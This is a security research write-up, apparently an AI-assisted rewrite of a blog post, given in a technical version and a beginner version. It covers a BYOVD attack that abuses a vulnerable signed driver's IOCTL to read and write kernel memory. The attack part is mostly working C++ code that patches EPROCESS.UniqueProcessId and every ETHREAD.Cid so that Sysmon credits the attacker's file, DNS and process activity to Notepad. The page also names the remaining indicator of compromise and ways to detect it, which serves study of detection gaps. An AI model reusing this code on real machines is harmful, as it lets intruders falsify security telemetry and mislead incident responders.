Skip to content
Memory corruption Write-up Advanced

Process ID Mutation via BYOVD

The author used a vulnerable signed driver to gain kernel read/write primitives, then patched the process ID field in the kernel process object and the matching process ID copy in every thread of their own process to a chosen target PID. This made Sysmon attribute file writes, DNS queries, child process creation and termination to a legitimate process the attacker never touched, producing a false process tree.

S12 - 0x12Dark Development Follow

Published on medium.com

Welcome to this new Medium post. In this one we will see how patching EPROCESS.UniqueProcessId and all ETHREAD.Cid fields at runtime causes Sysmon to fully attribute our activity to any target process.

S12 - 0x12Dark Development, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

This is a Windows kernel research project rather than a web finding. The target is Sysmon, the Sysinternals tool that monitors and reports key system activity through the Windows event log. Sysmon builds its process attribution from kernel structures, and the question the author started with was simple: what happens if you patch EPROCESS.UniqueProcessId at runtime? The answer turned out to be that Sysmon attributes file writes, DNS queries, child process creation and process termination to a process you never touched.

The technique mutates two fields: EPROCESS.UniqueProcessId and ETHREAD.Cid.UniqueProcess across all threads of a process. The telemetry does not merely show the wrong PID. It resolves the wrong image path, the wrong parent, and builds a completely false process tree.

Windows keeps process identity in three independent places:

Source What it is Who reads it
EPROCESS.UniqueProcessId PID field inside the kernel's process object Tools walking PsActiveProcessLinks
PspCidTable Kernel handle table indexed by PID/4, the authoritative source for the kernel NtOpenProcess, handle operations, most kernel callbacks
ETHREAD.Cid.UniqueProcess Per-thread copy of the owning process ID in CLIENT_ID.UniqueProcess ETW kernel callbacks, minifilter callbacks, Sysmon's driver

Because the three are independent, patching one does not update the others. PspCidTable is not touched by the technique at all, which the author notes is the best place to evolve it if you want to improve it.

Setup

The PoC uses a kernel read/write primitive, obtained through a vulnerable driver (BYOVD). The driver is opened by device name and driven with one IOCTL for both read and write:

C++
#define IOCTL_READWRITE_PRIMITIVE 0xC3502808
C++
HANDLE openVulnDriver() { HANDLE driver = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); if (!driver || driver == INVALID_HANDLE_VALUE) {  cout << "Failed to open handle to driver. Error code: " << GetLastError() << endl;  return NULL; } return driver;}

The source includes a loldrivers.io link next to the IOCTL definition. Read and write are both wrappers around DeviceIoControl with the same IOCTL, passing a struct of destination, source and size:

C++
BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) { KernelWritePrimitive kwp; kwp.dst = dst; kwp.src = src; kwp.size = size; BYTE bufferReturned[48] = { 0 }; DWORD returned = 0; BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp, sizeof(kwp), (LPVOID)bufferReturned, sizeof(bufferReturned), &returned, nullptr); if (!result) {  cout << "Failed to send write primitive. Error code: " << GetLastError() << endl;  return FALSE; } cout << "Write primitive sent successfully. Bytes returned: " << returned << endl; return TRUE;}
C++
BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) { KernelReadPrimitive krp; krp.dst = dst; krp.src = src; krp.size = size; DWORD returned = 0; BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp, sizeof(krp), (LPVOID)dst, size, &returned, nullptr); if (!result) {  cout << "Failed to send read primitive. Error code: " << GetLastError() << endl;  return FALSE; } return TRUE;}

The process enables SeDebugPrivilege on itself. Offsets are not hardcoded: they are resolved at runtime from the ntoskrnl.exe PDB, downloaded from the Microsoft symbol server, so the same binary works across Windows builds. The PoC was checked against Sysmon, with Notepad.exe as the target process.

Finding it

The starting point was curiosity about what breaks when EPROCESS.UniqueProcessId is patched at runtime. The first observation is that after patching only that field, tools walking PsActiveProcessLinks see the mutated PID, but Sysmon still reports the real PID, because Sysmon reads from ETHREAD.Cid. That gap is what makes the full technique necessary: to fool Sysmon you must also walk the thread list and overwrite the CID in every thread.

Exploitation

Step 1: resolve the offsets

Offsets for UniqueProcessId, ActiveProcessLinks, ThreadListHead, ThreadListEntry and Cid are resolved with DbgHelp against the downloaded PDB, and PsInitialSystemProcess is resolved as a symbol RVA:

C++
out.UniqueProcessId   = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "UniqueProcessId");out.ActiveProcessLinks = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ActiveProcessLinks");out.ThreadListHead    = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ThreadListHead");out.ThreadListEntry   = ResolveFieldOffset(hSym, modBase, "_ETHREAD", "ThreadListEntry");out.Cid               = ResolveFieldOffset(hSym, modBase, "_ETHREAD", "Cid");out.PsInitialSystemProcess = ResolveSymbolRva(hSym, modBase, "PsInitialSystemProcess");

The code parses the CodeView RSDS record from the PE debug directory, caches the PDB in %TEMP%, and validates it by comparing GUIDs. If the cached copy does not match, it is re-downloaded from msdl.microsoft.com over WinHTTP.

Step 2: find your own EPROCESS

Starting from PsInitialSystemProcess (PID 4), the code walks PsActiveProcessLinks and compares each candidate's UniqueProcessId with the current process ID:

C++
DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess;DWORD64 systemEPROCESS = 0;ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess, sizeof(DWORD64));// Walk PsActiveProcessLinks until PID matchesDWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks;// ...

The code obtains the ntoskrnl.exe base by enumerating kernel modules through NtQuerySystemInformation with SystemModuleInformation (class 11), sorting them by base address and matching the module name.

Step 3: patch EPROCESS.UniqueProcessId

A single write overwrites the PID field with the target PID, in the PoC a running Notepad instance:

C++
DWORD64 newValue = targetPid;WritePrimitive(drv, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId),    &newValue, sizeof(newValue));

At this point tools walking PsActiveProcessLinks see the mutated PID, but Sysmon still reports the real PID because it reads from ETHREAD.Cid.

Step 4: patch every ETHREAD.Cid.UniqueProcess

This is the critical step. The code walks EPROCESS.ThreadListHead, subtracts the ThreadListEntry offset to get each ETHREAD, and writes the new PID at ethread + g_offsets.Cid:

C++
void MutateAllThreadCids(HANDLE drv, DWORD64 eprocess, DWORD64 newPid) {    DWORD64 headAddr = eprocess + g_offsets.ThreadListHead;    DWORD64 currentFlink = 0;    ReadPrimitive(drv, &currentFlink, (LPVOID)(uintptr_t)headAddr, sizeof(DWORD64));    DWORD64 current = currentFlink;    int count = 0;    while (current != headAddr && count < 1000) {        count++;        DWORD64 ethread = current - g_offsets.ThreadListEntry;        WritePrimitive(drv, (LPVOID)(uintptr_t)(ethread + g_offsets.Cid),            &newPid, sizeof(DWORD64));        DWORD64 nextFlink = 0;        ReadPrimitive(drv, &nextFlink, (LPVOID)(uintptr_t)current, sizeof(DWORD64));        current = nextFlink;    }}

CLIENT_ID.UniqueProcess sits at offset 0 of the Cid field, so writing to ethread + g_offsets.Cid patches exactly the right field. The loop stops after 1000 iterations.

Step 5: generate activity

The PoC then produces telemetry that Sysmon will attribute to the target: a file write to C:\Temp\sysmon_test.txt, a child cmd.exe created and terminated, a DNS lookup of example.com, and a registry key creation under HKCU\SOFTWARE\TestMutation.

C++
void GenerateFileActivity() {    HANDLE hFile = CreateFileA(        "C:\\Temp\\sysmon_test.txt",        GENERIC_WRITE, 0, NULL,        CREATE_ALWAYS,        FILE_ATTRIBUTE_NORMAL, NULL    );    if (hFile == INVALID_HANDLE_VALUE) return;    const char* data = "sysmon pid mutation test";    DWORD written;    WriteFile(hFile, data, strlen(data), &written, NULL);    CloseHandle(hFile);    printf("[+] File written\n");}
C++
void GenerateDNS() {    WSADATA wsa;    WSAStartup(MAKEWORD(2, 2), &wsa);    struct hostent* h = gethostbyname("example.com");    WSACleanup();}

The code creates cmd.exe from the system directory with CreateProcessA, falls back to CREATE_BREAKAWAY_FROM_JOB if that fails, and terminates the child after one second.

Step 6: restore before exit

The report says restoring the original PID before exit avoids an orphaned Event ID 1, a process that was created but never terminated. To avoid that, the original PID is written back to EPROCESS.UniqueProcessId and to every ETHREAD.Cid before returning from main:

C++
void RestorePID(HANDLE drv, DWORD64 eprocess, DWORD originalPid) {    DWORD64 restorePid = (DWORD64)originalPid;    WritePrimitive(drv, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId),        &restorePid, sizeof(restorePid));    // Also restore all ETHREAD.Cid fields...}

Results in Sysmon

The PoC mutates its own PID, originally 3284, to 10720, the PID of a running Notepad.exe, and patches the Cid of its threads. The Sysmon events then show the activity under Notepad.

File Create:

From the original on medium.com

DNS Query:

From the original on medium.com

Child Process Create (cmd.exe):

From the original on medium.com

The full false timeline an analyst would see:

Text
[Event 1]  Notepad.exe   PID 4200  started (legitimate)[Event 11] Notepad.exe   PID 4200  wrote C:\Temp\sysmon_test.txt[Event 1]  cmd.exe       PID 9920  started, parent: Notepad.exe[Event 5]  cmd.exe       PID 9920  terminated[Event 22] Notepad.exe   PID 4200  queried example.com[Event 5]  Notepad.exe   PID 4200  terminated

PIDMutation.exe does not appear anywhere in this timeline.

From the original on medium.com

Root cause

Sysmon's process attribution relies on ETHREAD.Cid, which is independent of both EPROCESS.UniqueProcessId and PspCidTable. Because the kernel keeps these three sources separate and nothing reconciles them, a caller with an arbitrary kernel write can make the CID agree with a forged PID while the authoritative PspCidTable still maps the real PID to the real process. Sysmon's driver reads the per-thread copy, so it resolves the wrong image path and the wrong parent and builds a false process tree. The technique does not touch PspCidTable at all, and the divergence between it and ETHREAD.Cid is the remaining IoC.

Impact

An attacker who already has a kernel read/write primitive, here through a vulnerable signed driver, can make file writes, DNS queries, child process creation and termination appear under any process they choose. The telemetry does not just show the wrong PID: it resolves the wrong image path, the wrong parent, and produces a completely false process tree, so PIDMutation.exe does not appear anywhere in the timeline. The author frames the PoC as a research project for understanding detection gaps, not a production tool.

Remaining IoC

The detectable artefact is the divergence between ETHREAD.Cid and PspCidTable. EDRs with their own kernel callbacks that cross-reference EPROCESS.UniqueProcessId against PspCidTable can spot the inconsistency; the author considers it likely that Tier 1 EDRs do this.

Fix

The report describes no vendor fix; the only defensive angle it mentions is EDRs cross-referencing EPROCESS.UniqueProcessId against PspCidTable.

Variants to test

  1. Extend the mutation to PspCidTable so that all three sources agree. A positive result is that handle-based lookups such as NtOpenProcess also resolve to the forged process, closing the divergence IoC.
  2. Cross-reference ETHREAD.Cid against PspCidTable in your own kernel callback and alert on mismatch. A positive result is an alert on the PoC run while the Sysmon timeline stays clean.
  3. Run the PoC against a target process with a different thread count and confirm every thread is patched. A positive result is that no event is attributed to the real PID, including termination.
  4. Skip the restore step and observe the orphaned Event ID 1. A positive result is a process creation event with no matching termination, which is itself a detectable anomaly.
  5. Test on other Windows builds to confirm the dynamic PDB offset resolution holds. A positive result is identical attribution behaviour without recompilation.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

What happened, in plain words

Imagine a building where every visitor has to sign a guest book at the door. The security camera in the lobby does not look at the person's face; it just reads the name written in the guest book and labels the footage with that name. If someone could quietly erase their own name and write "the cleaner" instead, the camera would happily record every later action as the cleaner's, even though the cleaner was never there.

That is roughly what this research project does on Windows, the operating system most people use on a PC. Windows keeps a record of every running program, and a monitoring tool called Sysmon reads part of that record to decide which program did what. The author found that by changing a couple of internal numbers in the operating system's memory, a program can make Sysmon believe that all of its actions were performed by a completely different, innocent program, such as Notepad.

This is not a website bug. It is a piece of Windows internals research. The author started with a simple question: what happens if you change the process ID (PID) of a running program while it is running? A PID is just a number Windows gives to each running program so it can tell them apart. The answer turned out to be far more interesting than expected: file writes, DNS queries (lookups that turn a name like example.com into an address), child processes and process termination all get logged under a program that was never involved.

From the original on medium.com

The author frames this as a research project for understanding detection gaps, not a production tool. The point is to show that Sysmon's attribution can be fooled, and to explain why.

Background: how Windows keeps track of programs

Before the technique makes sense, you need to know that Windows stores the identity of a running program in more than one place. Think of a company that keeps three separate records of its employees: a name badge, a payroll spreadsheet and a door-access database. If you change your name on the badge, the payroll spreadsheet and the door database still say the old name. Nothing automatically synchronises them.

Windows does the same with three independent sources:

Source What it is Who reads it
EPROCESS.UniqueProcessId The PID field inside the kernel's process object Tools that walk the list of all processes (PsActiveProcessLinks)
PspCidTable A kernel table indexed by PID, the authoritative source for the kernel itself NtOpenProcess, handle operations, most kernel callbacks
ETHREAD.Cid.UniqueProcess A per-thread copy of the owning process ID ETW kernel callbacks, minifilter callbacks, Sysmon's driver

A few of those words need unpacking for a complete beginner:

  • Kernel: the core of the operating system, the part that has total control over the machine. Ordinary programs run in "user mode" and have to ask the kernel to do privileged things.
  • Process: a running program. Each one gets a PID.
  • Thread: a process can do several things at once; each stream of work inside it is a thread. A process with four threads has four separate execution paths.
  • EPROCESS: the kernel's internal data structure (a block of memory with named fields) that describes a process.
  • ETHREAD: the equivalent structure for a thread.
  • Handle table: a lookup table the kernel uses to map small numbers (handles) to real objects.
  • Callback: a function the kernel calls automatically when something happens, such as a process starting. Security tools register callbacks to be notified of activity.
  • ETW: Event Tracing for Windows, a built-in logging mechanism.
  • Minifilter: a driver that sits between the file system and the rest of the system, often used by antivirus software to inspect file operations.

The crucial point is that these three sources are independent. Changing one does not update the others. The technique in this article changes the first and the third, and leaves PspCidTable untouched. The author notes that PspCidTable would be the natural place to extend the technique if you wanted to improve it.

What Sysmon is and why it matters

Sysmon is a free tool from Microsoft's Sysinternals collection. It runs as a background service and writes detailed records into the Windows event log: when a program starts, when it writes a file, when it makes a network lookup, when it stops. Security analysts use these records to reconstruct what happened on a machine, much like reviewing CCTV footage after an incident.

Sysmon's driver reads the per-thread copy of the process ID (ETHREAD.Cid), not the main process record. That single design choice is what makes the technique possible: if you change the per-thread copy, Sysmon believes the change.

Getting the ability to read and write kernel memory

To change kernel data structures, the proof of concept uses a way to read and write arbitrary kernel memory. It gets this through a vulnerable driver, a technique known by the acronym BYOVD, which stands for "Bring Your Own Vulnerable Driver". The idea is that Windows will happily load a legitimately signed driver, but some signed drivers contain flaws that let any program ask them to read or write kernel memory. An attacker brings such a driver along and uses it as a helper.

The source includes a loldrivers.io link next to the IOCTL definition. The code opens the driver by its device name and talks to it with one command code, called an IOCTL:

C++
#define IOCTL_READWRITE_PRIMITIVE 0xC3502808

An IOCTL (input/output control) is a numbered request that a program sends to a driver. Think of it as pressing a specific button on a machine: the number identifies which button, and the data you send alongside tells the machine what to do.

C++
HANDLE openVulnDriver() { HANDLE driver = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); if (!driver || driver == INVALID_HANDLE_VALUE) {  cout << "Failed to open handle to driver. Error code: " << GetLastError() << endl;  return NULL; } return driver;}

Line by line:

  1. HANDLE openVulnDriver() declares a function that returns a handle. A handle is a small reference number Windows gives you when you open something, like a claim ticket at a cloakroom.
  2. CreateFileA("\\\\.\\GIO", ...) opens the driver's device. The odd-looking path is how Windows names devices; GIO is the device name of this particular driver.
  3. GENERIC_READ | GENERIC_WRITE asks for both read and write access.
  4. OPEN_EXISTING says the device must already exist; do not create anything new.
  5. If the handle is invalid, the function prints an error and returns NULL.
  6. Otherwise it returns the handle, which the rest of the program uses for every later request.

Reads and writes are both wrappers around a Windows function called DeviceIoControl, which sends an IOCTL to a device. Each wrapper passes a small structure containing a destination, a source and a size:

C++
BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) { KernelWritePrimitive kwp; kwp.dst = dst; kwp.src = src; kwp.size = size; BYTE bufferReturned[48] = { 0 }; DWORD returned = 0; BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp, sizeof(kwp), (LPVOID)bufferReturned, sizeof(bufferReturned), &returned, nullptr); if (!result) {  cout << "Failed to send write primitive. Error code: " << GetLastError() << endl;  return FALSE; } cout << "Write primitive sent successfully. Bytes returned: " << returned << endl; return TRUE;}

Line by line:

  1. The function takes the driver handle, a destination address, a source address and a size in bytes.
  2. KernelWritePrimitive kwp; creates a small package to send to the driver.
  3. kwp.dst, kwp.src and kwp.size fill that package: where to write, what to write, and how many bytes.
  4. BYTE bufferReturned[48] = { 0 }; prepares a small buffer for whatever the driver sends back.
  5. DeviceIoControl(...) sends the IOCTL with the package. If it fails, the function prints the Windows error code and returns FALSE.
  6. On success it prints how many bytes came back and returns TRUE.
C++
BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) { KernelReadPrimitive krp; krp.dst = dst; krp.src = src; krp.size = size; DWORD returned = 0; BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp, sizeof(krp), (LPVOID)dst, size, &returned, nullptr); if (!result) {  cout << "Failed to send read primitive. Error code: " << GetLastError() << endl;  return FALSE; } return TRUE;}

Line by line:

  1. Same shape as the write function, but the package is a KernelReadPrimitive.
  2. krp.dst is where the read data should land in the calling program, krp.src is the kernel address to read from, and krp.size is how many bytes.
  3. DeviceIoControl(...) sends the same IOCTL number, because this driver uses one command for both directions.
  4. On failure it prints an error and returns FALSE; on success it returns TRUE.

The program also enables a Windows privilege called SeDebugPrivilege on itself. A privilege is a permission granted to a process, and this particular one allows a process to inspect and manipulate other processes. It is normally reserved for administrators.

Finally, the offsets (the byte positions of fields inside these kernel structures) are not hardcoded. They are looked up at runtime from a file called a PDB, downloaded from Microsoft's symbol server. A PDB is a debugging file that describes the layout of a program's internal structures, like a map of a building. Because the map is fetched fresh for the exact Windows build in use, the same compiled program works across different Windows versions. The PoC was checked against Sysmon, with Notepad.exe as the target process.

Finding it: the first surprise

The starting point was pure curiosity: what breaks if you patch EPROCESS.UniqueProcessId at runtime? The first observation is that after changing only that field, tools that walk the list of all processes see the new PID, but Sysmon still reports the real one, because Sysmon reads from ETHREAD.Cid instead. That gap is what makes the full technique necessary: to fool Sysmon you must also walk the thread list and overwrite the CID in every thread.

Exploitation, step by step

Step 1: resolve the offsets

The program needs to know where each field sits inside the kernel structures. It asks the PDB for the positions of UniqueProcessId, ActiveProcessLinks, ThreadListHead, ThreadListEntry and Cid, and looks up PsInitialSystemProcess as a symbol:

C++
out.UniqueProcessId   = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "UniqueProcessId");out.ActiveProcessLinks = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ActiveProcessLinks");out.ThreadListHead    = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ThreadListHead");out.ThreadListEntry   = ResolveFieldOffset(hSym, modBase, "_ETHREAD", "ThreadListEntry");out.Cid               = ResolveFieldOffset(hSym, modBase, "_ETHREAD", "Cid");out.PsInitialSystemProcess = ResolveSymbolRva(hSym, modBase, "PsInitialSystemProcess");

Line by line:

  1. ResolveFieldOffset(hSym, modBase, "_EPROCESS", "UniqueProcessId") asks the PDB: inside the structure called _EPROCESS, how many bytes from the start is the field UniqueProcessId? The answer is stored in out.UniqueProcessId.
  2. The next line does the same for ActiveProcessLinks, the field that links all processes into a list.
  3. ThreadListHead is the field in _EPROCESS that starts the list of that process's threads.
  4. ThreadListEntry is the matching field inside _ETHREAD, the piece that connects a thread to that list.
  5. Cid is the field in _ETHREAD that holds the thread's copy of the owning process ID.
  6. ResolveSymbolRva looks up a named global variable rather than a field: PsInitialSystemProcess is a pointer to the process structure of the System process, which always has PID 4.

The code reads a CodeView RSDS record from the kernel executable, caches the PDB in %TEMP%, and compares GUIDs to validate it. If they differ, it downloads a fresh copy from msdl.microsoft.com using WinHTTP, the Windows library for making web requests.

Step 2: find your own process structure

Windows keeps all processes in a linked list. A linked list is like a treasure hunt: each item contains a pointer to the next one. The program starts at the System process (PID 4) and follows the chain until it finds the entry whose PID matches its own:

C++
DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess;DWORD64 systemEPROCESS = 0;ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess, sizeof(DWORD64));// Walk PsActiveProcessLinks until PID matchesDWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks;// ...

Line by line:

  1. ntoskrnlBase + g_offsets.PsInitialSystemProcess calculates the address of the PsInitialSystemProcess variable. ntoskrnlBase is where the kernel executable is loaded in memory, and the offset says how far into it the variable sits.
  2. ReadPrimitive(...) reads the 8-byte pointer stored there into systemEPROCESS. That pointer is the address of the System process's EPROCESS structure.
  3. systemEPROCESS + g_offsets.ActiveProcessLinks calculates the address of the list head inside that structure. The comment explains that the code then walks the list until the PID matches.

The code finds the base address of ntoskrnl.exe by asking Windows for loaded kernel modules through NtQuerySystemInformation with SystemModuleInformation (class 11), sorting them by base address and matching the module name.

Step 3: patch the process ID

A single write replaces the PID field with the target PID. In the PoC, the target is a running Notepad instance:

C++
DWORD64 newValue = targetPid;WritePrimitive(drv, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId),    &newValue, sizeof(newValue));

Line by line:

  1. DWORD64 newValue = targetPid; stores the PID we want to impersonate.
  2. eprocess + g_offsets.UniqueProcessId calculates the exact memory address of the PID field inside our own process structure.
  3. WritePrimitive(...) writes the new value there, sizeof(newValue) bytes long.

At this point, tools that walk the process list see the mutated PID, but Sysmon still reports the real PID because it reads from ETHREAD.Cid. That is why the next step is needed.

Step 4: patch every thread's copy of the PID

This is the critical step. The program walks the list of threads belonging to the process, and for each one overwrites the copy of the PID:

C++
void MutateAllThreadCids(HANDLE drv, DWORD64 eprocess, DWORD64 newPid) {    DWORD64 headAddr = eprocess + g_offsets.ThreadListHead;    DWORD64 currentFlink = 0;    ReadPrimitive(drv, &currentFlink, (LPVOID)(uintptr_t)headAddr, sizeof(DWORD64));    DWORD64 current = currentFlink;    int count = 0;    while (current != headAddr && count < 1000) {        count++;        DWORD64 ethread = current - g_offsets.ThreadListEntry;        WritePrimitive(drv, (LPVOID)(uintptr_t)(ethread + g_offsets.Cid),            &newPid, sizeof(DWORD64));        DWORD64 nextFlink = 0;        ReadPrimitive(drv, &nextFlink, (LPVOID)(uintptr_t)current, sizeof(DWORD64));        current = nextFlink;    }}

Line by line:

  1. headAddr is the address of the thread list head inside our process structure.
  2. ReadPrimitive(...) reads the first pointer in the list (Flink, meaning "forward link") into currentFlink.
  3. current starts at that first thread.
  4. count keeps track of how many threads have been processed.
  5. The while loop continues until it comes back to the list head (meaning the list is finished) or until it has processed 1000 threads, a safety limit.
  6. ethread = current - g_offsets.ThreadListEntry converts the list pointer back into the address of the whole thread structure. The list pointer points at a field inside the structure, so subtracting the field's offset gives the start of the structure.
  7. WritePrimitive(...) writes the new PID at ethread + g_offsets.Cid, which is the thread's copy of the owning process ID.
  8. The code then reads the next pointer and moves on.

CLIENT_ID.UniqueProcess sits at offset 0 of the Cid field, so writing to ethread + g_offsets.Cid patches exactly the right field. The loop stops after 1000 iterations.

Step 5: generate activity for Sysmon to log

The PoC then produces activity that Sysmon will attribute to the target: a file write to C:\Temp\sysmon_test.txt, a child cmd.exe created and terminated, a DNS lookup of example.com, and a registry key creation under HKCU\SOFTWARE\TestMutation.

C++
void GenerateFileActivity() {    HANDLE hFile = CreateFileA(        "C:\\Temp\\sysmon_test.txt",        GENERIC_WRITE, 0, NULL,        CREATE_ALWAYS,        FILE_ATTRIBUTE_NORMAL, NULL    );    if (hFile == INVALID_HANDLE_VALUE) return;    const char* data = "sysmon pid mutation test";    DWORD written;    WriteFile(hFile, data, strlen(data), &written, NULL);    CloseHandle(hFile);    printf("[+] File written\n");}

Line by line:

  1. CreateFileA(...) opens (or creates) the file C:\Temp\sysmon_test.txt for writing. CREATE_ALWAYS means overwrite it if it already exists.
  2. If the handle is invalid, the function gives up.
  3. data holds the text to write.
  4. WriteFile(...) writes the text into the file and records how many bytes were written.
  5. CloseHandle(hFile) closes the file.
  6. The program prints a confirmation message.
C++
void GenerateDNS() {    WSADATA wsa;    WSAStartup(MAKEWORD(2, 2), &wsa);    struct hostent* h = gethostbyname("example.com");    WSACleanup();}

Line by line:

  1. WSAStartup(...) initialises Winsock, the Windows networking library. You have to do this before making network calls.
  2. gethostbyname("example.com") performs a DNS lookup: it asks the network to translate the name example.com into an IP address. This is the activity Sysmon will log as a DNS query.
  3. WSACleanup() shuts the networking library down again.

The code creates cmd.exe from the system directory with CreateProcessA, falls back to CREATE_BREAKAWAY_FROM_JOB if that fails, and terminates the child after one second. A job object is a Windows grouping mechanism that can limit what a set of processes may do; the breakaway flag lets the new process escape such a group.

Step 6: restore the original PID before exiting

The report says restoring the original PID before exit avoids an orphaned Event ID 1, a process that was created but never terminated. To avoid that, the original PID is written back to EPROCESS.UniqueProcessId and to every ETHREAD.Cid before returning from main:

C++
void RestorePID(HANDLE drv, DWORD64 eprocess, DWORD originalPid) {    DWORD64 restorePid = (DWORD64)originalPid;    WritePrimitive(drv, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId),        &restorePid, sizeof(restorePid));    // Also restore all ETHREAD.Cid fields...}

Line by line:

  1. restorePid holds the original PID, widened to 64 bits to match the field size.
  2. WritePrimitive(...) writes it back into the process structure's PID field.
  3. The comment notes that the same value is also written back into every thread's Cid field, using the same walk as before.

Results in Sysmon

The PoC mutates its own PID, originally 3284, to 10720, the PID of a running Notepad.exe, and patches the Cid of its threads. The Sysmon events then show the activity under Notepad.

File Create:

From the original on medium.com

DNS Query:

From the original on medium.com

Child Process Create (cmd.exe):

From the original on medium.com

The full false timeline an analyst would see:

Text
[Event 1]  Notepad.exe   PID 4200  started (legitimate)[Event 11] Notepad.exe   PID 4200  wrote C:\Temp\sysmon_test.txt[Event 1]  cmd.exe       PID 9920  started, parent: Notepad.exe[Event 5]  cmd.exe       PID 9920  terminated[Event 22] Notepad.exe   PID 4200  queried example.com[Event 5]  Notepad.exe   PID 4200  terminated

PIDMutation.exe does not appear anywhere in this timeline.

Root cause

Sysmon's process attribution relies on ETHREAD.Cid, which is independent of both EPROCESS.UniqueProcessId and PspCidTable. Because the kernel keeps these three sources separate and nothing reconciles them, a caller with an arbitrary kernel write can make the CID agree with a forged PID while the authoritative PspCidTable still maps the real PID to the real process. Sysmon's driver reads the per-thread copy, so it resolves the wrong image path and the wrong parent and builds a false process tree. The technique does not touch PspCidTable at all, and the divergence between it and ETHREAD.Cid is the remaining IoC.

Impact

An attacker who already has a kernel read/write primitive, here through a vulnerable signed driver, can make file writes, DNS queries, child process creation and termination appear under any process they choose. The telemetry does not just show the wrong PID: it resolves the wrong image path, the wrong parent, and produces a completely false process tree, so PIDMutation.exe does not appear anywhere in the timeline. The author frames the PoC as a research project for understanding detection gaps, not a production tool.

Remaining IoC

An IoC (indicator of compromise) is a clue that something suspicious happened. The detectable artefact here is the divergence between ETHREAD.Cid and PspCidTable. EDRs (endpoint detection and response tools, security software that watches a machine for malicious behaviour) with their own kernel callbacks that cross-reference EPROCESS.UniqueProcessId against PspCidTable can spot the inconsistency; the author considers it likely that Tier 1 EDRs do this.

Fix

The report describes no vendor fix; the only defensive angle it mentions is EDRs cross-referencing EPROCESS.UniqueProcessId against PspCidTable.

Variants to test

  1. Extend the mutation to PspCidTable so that all three sources agree. A positive result is that handle-based lookups such as NtOpenProcess also resolve to the forged process, closing the divergence IoC.
  2. Cross-reference ETHREAD.Cid against PspCidTable in your own kernel callback and alert on mismatch. A positive result is an alert on the PoC run while the Sysmon timeline stays clean.
  3. Run the PoC against a target process with a different thread count and confirm every thread is patched. A positive result is that no event is attributed to the real PID, including termination.
  4. Skip the restore step and observe the orphaned Event ID 1. A positive result is a process creation event with no matching termination, which is itself a detectable anomaly.
  5. Test on other Windows builds to confirm the dynamic PDB offset resolution holds. A positive result is identical attribution behaviour without recompilation.

Glossary

  • API: a defined way for one program to ask another program or the operating system to do something, like a menu of allowed requests.
  • BYOVD: "Bring Your Own Vulnerable Driver", a technique where an attacker loads a legitimately signed but flawed driver to gain kernel-level read/write access.
  • Callback: a function the kernel calls automatically when an event happens, such as a process starting.
  • CID: the client ID field in a thread structure that holds the owning process ID.
  • CodeView RSDS: a record in a Windows executable that identifies which PDB debugging file matches it.
  • DeviceIoControl: the Windows function used to send an IOCTL request to a device driver.
  • DNS: the system that translates human-readable names like example.com into IP addresses.
  • EDR: endpoint detection and response, security software that monitors a machine for malicious activity.
  • EPROCESS: the kernel data structure that describes a process.
  • ETHREAD: the kernel data structure that describes a thread.
  • GUID: a long, practically unique identifier.
  • Handle: a small reference number Windows gives you when you open an object, used for later operations on it.
  • Handle table: a kernel lookup table mapping handles to real objects.
  • IOCTL: input/output control, a numbered request sent to a driver.
  • IoC: indicator of compromise, a clue that something suspicious happened.
  • Job object: a Windows grouping mechanism that can limit what a set of processes may do.
  • Kernel: the core of the operating system with full control over the machine.
  • Linked list: a data structure where each item contains a pointer to the next.
  • Minifilter: a driver that sits between the file system and the rest of the system, often used by security software.
  • NtOpenProcess: a Windows kernel function that opens a handle to a process.
  • Offset: the number of bytes from the start of a structure to a particular field.
  • PDB: a debugging file that describes the layout of a program's internal structures.
  • PID: process ID, the number Windows assigns to each running program.
  • Privilege: a permission granted to a process, such as the ability to inspect other processes.
  • Process: a running program.
  • PsActiveProcessLinks: the kernel field that links all processes into a list.
  • PspCidTable: the kernel's authoritative table mapping PIDs to process objects.
  • SeDebugPrivilege: a Windows privilege that allows a process to inspect and manipulate other processes.
  • Sysmon: a Sysinternals tool that logs detailed system activity to the Windows event log.
  • Thread: a stream of work inside a process; a process can have several.
  • WinHTTP: the Windows library for making web requests.
  • Winsock: the Windows networking library.

More by S12 - 0x12Dark Development

View all

13 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

